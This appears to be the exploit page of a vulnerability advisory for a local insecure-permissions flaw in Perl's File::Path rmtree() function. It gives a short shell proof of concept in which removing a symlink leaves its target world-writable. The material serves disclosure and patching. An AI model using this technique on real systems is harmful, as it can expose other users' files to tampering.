• info
• discussion
• exploit
• solution
• references

Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

The following example is available:

% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo